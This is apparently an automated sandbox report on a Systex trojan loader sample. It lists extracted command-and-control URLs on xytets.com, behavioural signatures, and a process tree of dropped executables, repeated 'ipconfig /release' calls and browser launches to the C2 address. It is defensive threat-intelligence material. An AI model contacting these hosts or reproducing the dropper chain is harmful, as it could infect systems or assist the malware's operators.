Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/08/2026, 23:41
General
- Target 2026-08-05_f7ddb4d16ef9104e3ec600f147171004_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample260805-3pg8natwcv
- SHA256 d533cad35ef2878bbbc27c93589b36e0b353e230e965da82d7471158663bac87
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-05_f7ddb4d16ef9104e3ec600f147171004_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-05_f7ddb4d16ef9104e3ec600f147171004_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\jgbysqligdywtnlf.exeC:\Temp\jgbysqligdywtnlf.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigayvqli.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\qoigayvqli.exeC:\Temp\qoigayvqli.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigayvqli.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigayvqli.exeC:\Temp\i_qoigayvqli.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavsnlfdx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\idavsnlfdx.exeC:\Temp\idavsnlfdx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavsnlfdx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_idavsnlfdx.exeC:\Temp\i_idavsnlfdx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcaxsqnhfz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fcaxsqnhfz.exeC:\Temp\fcaxsqnhfz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcaxsqnhfz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fcaxsqnhfz.exeC:\Temp\i_fcaxsqnhfz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfcxupnhfz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hfcxupnhfz.exeC:\Temp\hfcxupnhfz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfcxupnhfz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hfcxupnhfz.exeC:\Temp\i_hfcxupnhfz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecxupkhczu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecxupkhczu.exeC:\Temp\ecxupkhczu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecxupkhczu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecxupkhczu.exeC:\Temp\i_ecxupkhczu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omjhezxrpj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\omjhezxrpj.exeC:\Temp\omjhezxrpj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omjhezxrpj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_omjhezxrpj.exeC:\Temp\i_omjhezxrpj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hbztrljebw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hbztrljebw.exeC:\Temp\hbztrljebw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hbztrljebw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hbztrljebw.exeC:\Temp\i_hbztrljebw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jgaywqoigb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jgaywqoigb.exeC:\Temp\jgaywqoigb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jgaywqoigb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jgaywqoigb.exeC:\Temp\i_jgaywqoigb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtnljdbvt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bvtnljdbvt.exeC:\Temp\bvtnljdbvt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtnljdbvt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bvtnljdbvt.exeC:\Temp\i_bvtnljdbvt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fdxvqnlfdx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fdxvqnlfdx.exeC:\Temp\fdxvqnlfdx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fdxvqnlfdx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fdxvqnlfdx.exeC:\Temp\i_fdxvqnlfdx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\yspnhfaxsq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\yspnhfaxsq.exeC:\Temp\yspnhfaxsq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_yspnhfaxsq.exe ups_ins3⤵
-
C:\Temp\i_yspnhfaxsq.exeC:\Temp\i_yspnhfaxsq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kicausmkec.exe ups_run3⤵
-
C:\Temp\kicausmkec.exeC:\Temp\kicausmkec.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kicausmkec.exe ups_ins3⤵
-
C:\Temp\i_kicausmkec.exeC:\Temp\i_kicausmkec.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhfcxuhfcx.exe ups_run3⤵
-
C:\Temp\mhfcxuhfcx.exeC:\Temp\mhfcxuhfcx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhfcxuhfcx.exe ups_ins3⤵
-
C:\Temp\i_mhfcxuhfcx.exeC:\Temp\i_mhfcxuhfcx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mjhczurmje.exe ups_run3⤵
-
C:\Temp\mjhczurmje.exeC:\Temp\mjhczurmje.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mjhczurmje.exe ups_ins3⤵
-
C:\Temp\i_mjhczurmje.exeC:\Temp\i_mjhczurmje.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gebztrojhb.exe ups_run3⤵
-
C:\Temp\gebztrojhb.exeC:\Temp\gebztrojhb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gebztrojhb.exe ups_ins3⤵
-
C:\Temp\i_gebztrojhb.exeC:\Temp\i_gebztrojhb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgbytrljdb.exe ups_run3⤵
-
C:\Temp\lgbytrljdb.exeC:\Temp\lgbytrljdb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgbytrljdb.exe ups_ins3⤵
-
C:\Temp\i_lgbytrljdb.exeC:\Temp\i_lgbytrljdb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljdbvtrlj.exe ups_run3⤵
-
C:\Temp\rljdbvtrlj.exeC:\Temp\rljdbvtrlj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljdbvtrlj.exe ups_ins3⤵
-
C:\Temp\i_rljdbvtrlj.exeC:\Temp\i_rljdbvtrlj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ayvqoigdyv.exe ups_run3⤵
-
C:\Temp\ayvqoigdyv.exeC:\Temp\ayvqoigdyv.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ayvqoigdyv.exe ups_ins3⤵
-
C:\Temp\i_ayvqoigdyv.exeC:\Temp\i_ayvqoigdyv.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqkifaxvtn.exe ups_run3⤵
-
C:\Temp\sqkifaxvtn.exeC:\Temp\sqkifaxvtn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqkifaxvtn.exe ups_ins3⤵
-
C:\Temp\i_sqkifaxvtn.exeC:\Temp\i_sqkifaxvtn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffdef96c188,0x7ffdef96c194,0x7ffdef96c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1576,i,12837534580837342903,12389338378583786395,262144 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,16206898912437917920,16048761404882277347,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2284,i,13698186550063994021,16287128246118361432,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,10372210323099663010,5043160465072306651,2097152 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,9070551225813912820,7703075007783520985,2097152 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4288,i,7019428401940644845,7903765510791224665,2097152 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4312,i,2005926062106645578,18339498170951204241,2097152 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3720,i,7577342613361269789,7668403510984182153,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3804,i,13677916573158714501,8365246565068292210,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3780,i,1375178390737132484,16182025414234937709,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,3022277963798391328,17400546922825232806,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,3022277963798391328,17400546922825232806,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6296,i,2402673862263217841,4835728606211572596,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6264 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,3285834440300141531,11347359876569492146,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,15540873211870019024,17051765548906920299,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,1323304142584149763,2492948229657846272,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4784,i,17010473778051815385,9155979986054382925,524288 --field-trial-handle=2400,i,7389933218623084795,17510016017433660012,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:144⤵
-
-
